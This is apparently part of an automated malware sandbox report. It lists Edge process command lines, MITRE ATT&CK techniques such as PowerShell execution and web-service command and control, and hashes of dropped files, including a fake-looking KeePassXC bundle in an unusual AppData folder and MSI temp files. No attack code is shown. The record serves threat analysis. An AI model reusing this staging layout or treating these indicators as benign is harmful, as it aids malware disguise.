        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3484 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:1
        6⤵
        
        PID:3628
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3532 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:1
        6⤵
        
        PID:2184
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4680 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:2
        6⤵
        
        PID:2564
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=5088 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:1
        6⤵
        
        PID:2460
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=5084 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:1
        6⤵
        
        PID:2332
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5608 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:3696
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --no-appcompat-clear --mojo-platform-channel-handle=3668 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:5064
      - C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=5832 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:4624
      - C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=5832 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:4072
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=6092 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:448
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --no-appcompat-clear --mojo-platform-channel-handle=5832 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:4832
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=6280 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:4348
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=6136 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:880
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=5928 --field-trial-handle=2312,i,14079729724642120191,11435421315055352826,262144 --variations-seed-version /prefetch:8
        6⤵
        
        PID:1320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e5b974e.rbs

Filesize
19KB

MD5
0fd95d70963a592d8792a812db355141

SHA1
e97bef0bc8b23bfc5162d27d10063a3719bfdc16

SHA256
9fb946a6cf976ff3096f6b723be6e2fa3b1772157f26dced7e36b51869eda58f

SHA512
0440f26b5f04bafc131d68af86b7852bd94668bbe098eaecdb27fdf31887909eea0f532cbd21fe792809a486d09556de34f911b0cb3ba09d11abcc0881fb8099

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
0f83effa1f7cd5f863948f12ae2cfb33

SHA1
08e9d378fcedfbcd316a8af9c439f780e97a8d14

SHA256
e9f2ae0818fc603c402353936e7a70c0691b37bb31c3b31687958b92932b2ec1

SHA512
6db56afadb8d14011d5591e8952e8e253518ba9e1ec6911680f9444cff453d595bc8f643c816c65b82365b959fa639a2c171b66c3ff8544318f5d981ccd24693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
51befc29deba9e4e5756322a78bc1a38

SHA1
c4d53bb4f74d7fe9243e55a5be32eaa28bbb1043

SHA256
572188a8e2796af72d6d9d87c070b3454ae7f36f390f6cf077ec92040e6940f5

SHA512
3112390beb3770d7acad3cd925fd4f1661d08f71766d1a213f3a20263ae2aa136d7ceaee38e1b7b894266cec53817bb93a0c48b8a1fad66e89627f5410244265

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\egkadleinlmlikpeimkmknokmclhkedg\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\1c1a9e2f-cdfc-4805-824f-d7cfd5411815.tmp

Filesize
1KB

MD5
f777b2216bc60810323cafcc6a167f97

SHA1
b13de63789652a905c38572a1c03d5aab2347ddc

SHA256
3a44fc5d77453df0fffd90bc1a69546e94c3f1a56cd751d7942b502d06237dae

SHA512
7d76af24af07807a525c58b60131af00348537f92cfbb28730f3df39c3049a6cc4b017d56c917bf767279cf72b0c4b3acaaa41787bb6a4a0827a02fa09cea844

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
11KB

MD5
5dd6f08f7d23c81180f9467403faa1fb

SHA1
adc92ca85575bac63729f4812dd5820de8626414

SHA256
eed3597d3294e4bc5a6c2c83c05309be61fb85a87ed5e86e39180ace813ded51

SHA512
d2ab02e7de78c23f7e88889697e05f0ba7343ed9b5faf810e2a72464b65b4d16989f6ae023073e909fbd3b23e34d819b8dba98b440bea89ae074925729e7b8ac

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
31KB

MD5
ffd1d6593fc3a35193c48220ec39f00d

SHA1
a34677682bf2bfb1d9c20255ca0b745f5704074c

SHA256
986681fe4f393316957322b4673895d411a5b9fc100cf89fb55bc48739cc856e

SHA512
c9b08ef7b59dd55e0c815d85333d97d8b9f383453883b8961bf1866a438adcb0fb2c03afb1a48e2ce0627270b8567420841a60949023d4cd845098871e1f1d6c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
504B

MD5
569f2ccdff145c8723931b0734b91307

SHA1
730edbd91ea268824b1a846f1c21f0386d19c4f9

SHA256
8897cbb02c15cdd21c2f91c77534dfc2caee98ab332b0b892a3d83c9ea93df1f

SHA512
00811b5e325a061a27de513dcd2f13eb555c6c30e34c37140eb91ddc7ce9c866347a17d97c42da4128463e0d9886f6b136c86b17780ca7495d4e27e0bb3696b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5cb4f0.TMP

Filesize
72B

MD5
877cfbcaf2578f8694c42e5a709ddfbe

SHA1
97fbc392a7b246c46cc9abae60ba60f3bea435ce

SHA256
97c21051d10bfa3343ea752bb502a57c3349631f97c94f250dc9ac023183f0f4

SHA512
913a0f84f77fc82b7240cf8a0ecedcbbaf2cdb607e627cc821f102685309fc2d6efadc5dcf1acf71a7c0307bcaeea764a72710775e6426163bf4fa57ee03e94c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
41KB

MD5
ec6a29709ec457ed82b9386ee7c083f3

SHA1
3decfb2e4df37e5d1aec462ee427a04b5fe89bc9

SHA256
a2a4767f8784920772acb83c012ad073d9af961978d9184376fb190026182756

SHA512
d82f434b2478e054be0f1da6f4ae65a33f9a2ee4b0d2346fa98332c9377e99dbfc53ff6f9b1b12e561de17447a1c32ca4becb483c6cc9ca0884eec7155752814

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
51KB

MD5
26b99cb6ab8a2c230f559cb41e9b17e4

SHA1
5e29f8ec124e04ef5370be6e1dc9271c08b11009

SHA256
135a800ed709531db7360c4af2ecd98e33706bb88c3bd9ed71fa1db609d61814

SHA512
c447f9ca0d0eba28e273cb905b86c383cc82a8803575a5d35c94b0201149f33a31243ff914f742239a8ee9eab73eb1da6f2e1c8a16edbaeff2fb7785c59000cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
41KB

MD5
d115d594b345db692cbbdea8aacf3b37

SHA1
541df8dbd9bb0e3f067625ca4cbe6f15d3ed8f0b

SHA256
1cb3e8512130a4cefea39a35038b6361e3c5c3db67b4837dc56f3931d183da9c

SHA512
d90ee88b6640e0d0f970a5714fae6af3aee4e0d3a198226becb228e1e682d75e4c09e08d4cf90cbf3e9b230ca55d0b71a563816bd64439b8f773bb8138ef89fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wyv5g2b0.0ma.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\msiA9D9.txt

Filesize
72B

MD5
d3cfb7d0c8d2e3fe6a0eb110baf7e755

SHA1
369e9d8630eda9fd3d0f9bf4daa815e33207ffd4

SHA256
5b0e557ac6fb728e4946ec8d27d97cab02d6e44dfc3a526d52643d758dbbff12

SHA512
2b1f4b3feba76460da5bbe70cf8c2744837859e8e9df2923984f99500a6a07cf996ea441aa245708d7a6f8616148360c7dc4eae989b9584e9869f8d3bbc12ebf

Download Submit
C:\Users\Admin\AppData\Local\Temp\pssA9EB.ps1

Filesize
6KB

MD5
30c30ef2cb47e35101d13402b5661179

SHA1
25696b2aab86a9233f19017539e2dd83b2f75d4e

SHA256
53094df6fa4e57a3265ff04bc1e970c10bcdb3d4094ad6dd610c05b7a8b79e0f

SHA512
882be2768138bb75ff7dde7d5ca4c2e024699398baacd0ce1d4619902402e054297e4f464d8cb3c22b2f35d3dabc408122c207facad64ec8014f2c54834cf458

Download Submit
C:\Users\Admin\AppData\Local\Temp\scrA9DA.ps1

Filesize
558B

MD5
32aaf95e81f7c25950c11c53615c753a

SHA1
603ae202e859261d2ea09ac44f84d98a44007316

SHA256
e523cdefc4d381fd0bb040f80f8ebcba9a022c7b731d1e3fba27ef0ad8643a58

SHA512
4076c6b5a77ebc5c5e02c28269cf4751644a508c9661806e7560664e9c9379c808ca8c0860e6efd4ea3c837edbcbc4b20060413012e5f446f17a44efcef517db

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\KeePassXc.exe

Filesize
7.4MB

MD5
fc16fce41560bed85c97d9551fdfc3c1

SHA1
26a867e66cd4730383046de480aa1785d4b93bf2

SHA256
e35a84063e76646544486d2b172c7f0ffd52d28f9f258379370979b73bdc0857

SHA512
0954901366b8d2e4bf9ff0450c072bac6cc89113f304dfae2ff87e9d3d4380780122e1ce81ce1d908a364ff1970da9e85e3a41b54b13b83d1c147611a39fde91

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Concurrent.dll

Filesize
63KB

MD5
76e68d56326f70acb1c20bc3ad9ea20d

SHA1
f1f74224abed3f01f643b2a103c41158e586d827

SHA256
d84b30cf544bbf0657df31e196196877fa874b011a275afdd4bd39729070891f

SHA512
fd786822ea98ceffcad9266c306afb0ad08a82d389925eb6a8b077c7b153afeb91a622b6e31f26bbb8fcfd14183e4e8c1ab495154322e977cb74e5d33529d681

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Core.dll

Filesize
7.1MB

MD5
3dc9596998ebac48a1ea9d5557649eeb

SHA1
16115408bab17885ad9bf95810dbd7a35f159e4a

SHA256
3880e50ab6e204b9fbc2952ff39411a530612ddcbd82c296d916065f37b755e6

SHA512
7a6641b3f8bcfbe165aeb8f7477f931188e58a72bae63dfe2ba1c86736cdc6c7f6c86c0d433badb64f3c799202a2f5439eab0f04362b5b882f7f5c346f9765f9

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Gui.dll

Filesize
9.6MB

MD5
b6b0178576ee844019d0f2fa214df8c8

SHA1
6bb884f83beac17f42597160d321d4ad2bd3c6c2

SHA256
455e4487b294c9648f2f4852ab68ba5d45e880bd1e8cf3d27e58150c2aedb20c

SHA512
e214e6232d4f2469769af243b01cde10e72ef1acdad1e92fe1e9cf7b74fd127831bc223a3ad983695f35e4eadfaff49110948d63e085c551094f534e33e04ab4

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Network.dll

Filesize
2.5MB

MD5
883d51ff2fa63084fef0b252c62b259c

SHA1
375993ca6c25195302cff56da2a7f70ed116b681

SHA256
699225b460328cc4d6f026a57b89472db56aef46a242066c83f4c404ab9f386d

SHA512
dbed13d06af7cb25c3cbe6f02be3663125a6a340e0f82e565f32d66448296af6188f98c1082d5110be567788c04f47ef402bc730ca4d5eb0fc29e3bc527a31f8

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Svg.dll

Filesize
583KB

MD5
b015508d22a275d220481547617f74bf

SHA1
b65eb8773297d988ce034795e95d1455dd1f09e2

SHA256
cf928b42713f1ae39fd6a3f084ba3aaa4d28cef7cfcd57ddd3e2883214fa6e91

SHA512
02adea4881ca255cef289b357eefcc0c989fb0ad9e2a211b508bdbaea9d4becdd030615bd68ecd7696b0b5fd8c6efc6580c4f05147f455b6b6155d3fd01397b0

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\Qt5Widgets.dll

Filesize
9.0MB

MD5
cdf811c8e5fc6b313c91b19d2362dc2c

SHA1
26cc74948b8082c3a2e2f348bdff903954974ec0

SHA256
da173ce470873cc18134dba881f8018656ca0ad03fb0cb5a3ea8552b8785f9de

SHA512
322da5b6063a03f599f3fdf3e0f86eb541912b9dd7ae4dc9e4ff10b8133c8e3797ebd9f31872f403c257d6456edd7eca2d28915396d3aefaf549816a4b59ae8a

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libdouble-conversion.dll

Filesize
79KB

MD5
e1cd8a087c9b045fb6e770f27ef03707

SHA1
6d5aff3ccbfd81f0760a0d8d22799dce4973acb6

SHA256
eaa197134ecc9c8995ececdea42aaaa5b09a2039a608452ae3223d976da8efa5

SHA512
3ef02820c5fa2ffaf461d16f000894ec696da38431a158205fc74947b47c93d0de793c54c0b801acd2f7ebe9cfef3970cf8960c47597e94e62adcbb09196101a

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libgcc_s_dw2-1.dll

Filesize
122KB

MD5
a542f74ee60dfbee3e8e919acb22e773

SHA1
8e3a47d726f3c7daf4b6168effbca676bcc0be2c

SHA256
f99611c9b7000dc50f4aeac26c590072bfecffdd1cba9903b6bed649eb14550c

SHA512
acfc819f23f49a296a9437a6f7aa2ce8066285312af5c72ca41973e7daa090e9ab6f30eeecb722756c2a5b3a70f959977f06c524cc11bf7c0bc99f1b3e58a7a1

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libgcrypt-20.dll

Filesize
975KB

MD5
24dac6152c216a1b7b1afef7c36e2b65

SHA1
a832467931f07b3f41772d89feb194a90be4119b

SHA256
784af4a0d287a6611d5ee4fda32e31d7b3d5afcd14bca75d2564bb9f0045b449

SHA512
b4da7fe3e32fe1dc89197ec4f0a84c1cb38ff4d872f842f4692d1520e2b39efd2d7e3b928a8e225d2504aadf72a923ed7ee7e3552988c6365b9b30358912d6ce

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libgpg-error-0.dll

Filesize
210KB

MD5
c72948b84d9dd02eb85f1774739eafa8

SHA1
1f255f8b808ee310dba95beb896a3ec360f16ebc

SHA256
2b1df97fb3cf4a54d68bf7ca2611f0cc0663908309fd58a48989804dc4fec284

SHA512
fda087b6e86cf02dcf4324e391be2f8ef54dce9cb787dbc343d90efd9d9f54189fe0994fee628c0465c1c9f51c6d1783955c8002215517fc5358ae1e7518067b

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libharfbuzz-0.dll

Filesize
1.0MB

MD5
4503f9be16890c735d37533f6b739c98

SHA1
3800d347d3e2c2099cedfcacacd2c53415f6310f

SHA256
020c3d69ec42f836daa1b7740c397badb921e9db6cc8b874a4a13bc5a9564ece

SHA512
7d3ac686380a52c3444138afa8394869e0cb780aa5af7fbd23c6703653f43a1bafd1a379884c830035a70a875b1e73ab609477e39e27698458b747f81bd463ff

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libicuin68.dll

Filesize
3.3MB

MD5
fd240f08139a7bbefc3aeec099210579

SHA1
f2738c0a2b3ef6a51d7b89d731854a0924f71bfb

SHA256
e8e72f078844e6fc97fa9ed417eefef7fc30192b3f6f0074d6d6d80a176d3100

SHA512
14177b251e771c88148c9a2ff433f64c1a9c977320c42c882381e698fff7592148b6d7485c537bc720ac3685bb3cbef6cea63e50fe038c8f6a5b61e9460d16f4

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libicuuc68.dll

Filesize
2.0MB

MD5
484a47b28f7e935039289146d8592c73

SHA1
328681021f9ef4ef52a12e8bc944edaf9eed5689

SHA256
fd02a3c891349da4d956a13e189b57f23e1d1a22209dad3875ff72e2e85cd541

SHA512
83b5dbac473dd390c739a38b8cebedfae7c9949f583ddbb69326b9bd39aab8c28d40e6951acf47c10ea2ac51620e2de96912ab7aced713985b263769277129b5

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libpcre2-16-0.dll

Filesize
334KB

MD5
bb8004dd00979ea17a243df6d40f2b05

SHA1
482b4ea7b92e3aee7b13278ee79ce84ee7e09d7a

SHA256
7df7355b2968a68491356e377da1fc772776b43033eb13df0738df90fdf54d32

SHA512
060e0e12b7a54ea023e2790c8f35d930427c33ca566f88a253f322d1022e6e399ace6c550b42252df07e1c609e6dabc73ad62b8f712e8c5a3fa3380274079d52

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libqrencode.dll

Filesize
82KB

MD5
a1737041533ac620a8385c7b99046d18

SHA1
2154912e5ec6e84af91eb883f6fe41dfccef3b03

SHA256
8e214eec4218407c339f35cc4b133b82e264855a15c407f3f93fc12be93ac0db

SHA512
1508fe92ba0a0f14e93676f1d53923d0b91df4208d23897cd9003b0436bf826fb98ebd3514a8e6e9c15bf9d993fcb538dcfb0b8461f33bce835da736229804c2

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libquazip5.dll

Filesize
205KB

MD5
83761f6a5bebfa2383a456325688c851

SHA1
0eb04f6a54b76135816be039b8a14ef297cb48cc

SHA256
824f08f9f69b5a28baeef5ef9d9335f9ad87600a830e304b1c696e2f97a92727

SHA512
9851ff17d653c0ac8c75c8694d630773474e62d03f64fbce93258b64b999dba23e80d3f8e3cf0287b2a492574a4fdeb6bd8a86070946e9ef6dfb912c31ed4cee

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libsodium-23.dll

Filesize
382KB

MD5
270ca6cfb0bbb0cad78ce9b8d7ccc4f3

SHA1
eeed9ebcf68cc96e4c0e0a8c46010a7e634e207a

SHA256
e3659dab4b91636c27f3a41eda8d4afe59101021468eef539191d16a7b92da9e

SHA512
6c4102686fc83bdca4a495b1f68b5fe48a1be0e8c73bc8d97d0664a2ab1a6fde68f5e380dbfcb55698cc58fd42a9f04c47876a22167aa04be6b492ee0b7d91b6

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libssp-0.dll

Filesize
47KB

MD5
31037212185611990b67b6831fbddb39

SHA1
7f20b8975654604b54e9809a5668ba266de3733e

SHA256
af646bb5c7d4844de540f187dddcaa9b573fd0a34646a7d16f961ed32c691f21

SHA512
a1573605550baeeb18f75d49e27d785169e389c2eae3b10f76471feed2485680ed785c66d28eeeea7cfdd0a8c6e539b7b872a4c7c93cd29713f8a500ab03c1e6

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libstdc++-6.dll

Filesize
1.8MB

MD5
a33a65fc77e446a7dffb163e07610a8f

SHA1
a574215a88f53ef4f53d9b3c4b1905d6c2644202

SHA256
430d8036d0b568efe975fb7406156056e9ad16cd814d9b5de157704e85754a1a

SHA512
fe3b6af1d343e82b185fbb2fc5272f6f38baecd0a4e0d32c340f8ac0ee6d8b39661033ac64ecc58770fc7a2db328706b8c84abda756e42a88b6e972a9427d3ce

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libwinpthread-1.dll

Filesize
67KB

MD5
f73bb12c46d209ab7317f3ef878d4abe

SHA1
bd8acd83f4eb5afbb6ea2c90fe40062c58fd1ef4

SHA256
edb71eb6815bde6ec47b1167c74d26f7d9fd08bb6d4cfc3c08683eaeda39dcde

SHA512
88d8381f639350bab0d360a32370eee325ae2d0c366c898ce23ffc62f85ad921776aa856219671d39620c25d7856c82f19b2e7cdde6ac641092b2df8a0ab70ef

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libykpers-1-1.dll

Filesize
560KB

MD5
661ed9d4bd3bd416d31def947cd4f502

SHA1
d18fd6c6c9081648818a6654e5a74f8fcd21c1a3

SHA256
d72768f29c12fe808038feb80c8415bf8d47fe5e22a074214cf2c56bf90b7a09

SHA512
984e2b937ee469b86abc1a9b52407e746f976d01de2cf949e68dc079e498c1f7d5ec74b2ada7d5e0211f9d21b0e6ba4ce0ec66d1da73bcd11f1373022834f0bb

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\libzstd.dll

Filesize
950KB

MD5
411642ebdf422cac211237a449ffb139

SHA1
cfb06e94ccdc6704d8ea3f5659481c317a0371af

SHA256
23272d4c3f19a13fa236369d2a296202a3c7067fa1698572dea9c23b9eae00b7

SHA512
4a144c877ec977ba6db0166ba3a559b9201bdc66c0bcf11b4772565c713a5f6f207168490b3a8231e6d23dd6041ce01df66e3af7d6b4899a743e6c3bfe598670

Download Submit
C:\Users\Admin\AppData\Roaming\Vuis Queue\AppQue\zlib1.dll

Filesize
124KB

MD5
8b2a6e8419a8a4e7d3fd023d97455fb9

SHA1
2547a1f94fb4f83b7c133a3e285ee11faa155e84

SHA256
7087cdd1acdff6cd1b8d821388f430af3888314b05a5821bb53e67034362f670

SHA512
44438f6dd4becabc2cb3053e2c42877cbdb0f309fe272f67a94ad530caf1c5e5d49bc394f7d21c4226a4f0eb6d8661c5c7113508ea2f446e0dbea0d59554d4a4

Download Submit
C:\Windows\Installer\MSI9910.tmp

Filesize
738KB

MD5
b158d8d605571ea47a238df5ab43dfaa

SHA1
bb91ae1f2f7142b9099e3cc285f4f5b84de568e4

SHA256
ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504

SHA512
56aef59c198acf2fcd0d95ea6e32ce1c706e5098a0800feff13ddb427bfb4d538de1c415a5cb5496b09a5825155e3abb1c13c8c37dc31549604bd4d63cb70591

Download Submit
C:\Windows\Installer\MSIA819.tmp

Filesize
758KB

MD5
fb4665320c9da54598321c59cc5ed623

SHA1
89e87b3cc569edd26b5805244cfacb2f9c892bc7

SHA256
9fb3156c665211a0081b189142c1d1ab18cda601ee54d5f5d8883ecfa4177a59

SHA512
b205552a3cfbaa2202e6ef7e39e229af167b2342a7dc4a2f4cadfe4d05000966cf19e9e208e44d6bb0fd6a56f4283caeed9c13f523e5b301b87f79febb1840cf

Download Submit
C:\Windows\Installer\e5b974b.msi

Filesize
35.1MB

MD5
fbaec22bd0a4be6307c739d7e581635f

SHA1
aa4f2a800b484157d9edd22547aef851d9262e42

SHA256
027438d59349069687835d1d4f9db9212ad38726f783956f6a1d146da9778906

SHA512
99a7e5b9b6ac5fafc22feb85885865c63076bbe3e63442ad1f6da734e74a76de857729a08b491e72fe9a9f791a33dee11ed9cebf73cab20882153fc900988b0d

Download Submit
memory/1096-53-0x0000000009670000-0x0000000009B9C000-memory.dmp

